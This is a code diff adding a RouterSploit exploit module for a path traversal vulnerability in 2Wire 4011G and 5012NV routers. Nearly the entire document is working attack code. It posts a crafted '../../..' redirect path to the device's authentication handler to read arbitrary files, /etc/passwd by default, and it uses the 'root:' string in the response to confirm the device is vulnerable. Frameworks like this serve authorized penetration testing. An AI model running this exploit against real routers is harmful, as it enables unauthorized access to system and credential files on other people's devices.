2wire 4011G and 5012NV path traversal exploit.

routersploit/modules/exploits/2wire/4011g_5012nv_path_traversal.py

+from routersploit import (
+    exploits,
+    print_success,
+    print_status,
+    print_error,
+    print_info,
+    http_request,
+    mute,
+    validators,
+)
+
+
+class Exploit(exploits.Exploit):
+    """
+    Exploit implementation for path traversal vulnerability in 2Wire 4011G and 5012NV  devices.
+    If the target is vulnerable it is possible to read file from the filesystem."
+    """
+    __info__ = {
+        'name': '2Wire 4011G & 5012NV Path Traversal',
+        'description': 'Module exploits path traversal vulnerability in 2Wire 4011G and 5012NV devices. '
+                       'If the target is vulnerable it is possible to read file from the filesystem.',
+        'authors': [
+            'adiaz',  # vulnerability discovery
+            'Marcin Bury <marcin.bury[at]reverse-shell.com>',  # routersploit module
+        ],
+        'references': [
+            'https://www.underground.org.mx/index.php?topic=28616.0',
+        ],
+        'devices': [
+            '2Wire 4011G',
+            '2Wire 5012NV',
+        ],
+    }
+
+    target = exploits.Option('', 'Target address e.g. http://192.168.1.1', validators=validators.url)  # target address
+    port = exploits.Option(80, 'Target port')  # default port
+    filename = exploits.Option('/etc/passwd', 'File to read from filesystem')
+
+    def run(self):
+        if self.check():
+            print_success("Target is vulnerable")
+
+            print_status("Sending read {} file request".format(self.filename))
+            url = "{}:{}/goform/enhAuthHandler".format(self.target, self.port)
+ 
+            headers = {u"Content-Type": u"application/x-www-form-urlencoded"}
+
+            data = {"__ENH_SHOW_REDIRECT_PATH__": "/pages/C_4_0.asp/../../..{}".format(self.filename),
+                    "__ENH_SUBMIT_VALUE_SHOW__": "Acceder",
+                    "__ENH_SUBMIT_VALUE_SHOW__": "",
+                    "username": "tech"}
+
+            response = http_request(method="POST", url=url, headers=headers, data=data)
+            if response is None:
+                return
+
+            print_status("Reading file {}".format(self.filename))
+            print_info(response.text)
+        else:
+            print_error("Target seems to be not vulnerable")
+
+    @mute
+    def check(self):
+        url = "{}:{}/goform/enhAuthHandler".format(self.target, self.port)
+
+        headers = {u"Content-Type": u"application/x-www-form-urlencoded"}
+
+        data = {"__ENH_SHOW_REDIRECT_PATH__": "/pages/C_4_0.asp/../../../etc/passwd",
+                "__ENH_SUBMIT_VALUE_SHOW__": "Acceder",
+                "__ENH_SUBMIT_VALUE_SHOW__": "",
+                "username": "tech"}
+
+        response = http_request(method="POST", url=url, headers=headers, data=data)
+        if response is None:
+            return False  # target is not vulnerable
+
+        if "root:" in response.text:
+            return True  # target is vulnerable
+
+        return False  # target is not vulnerable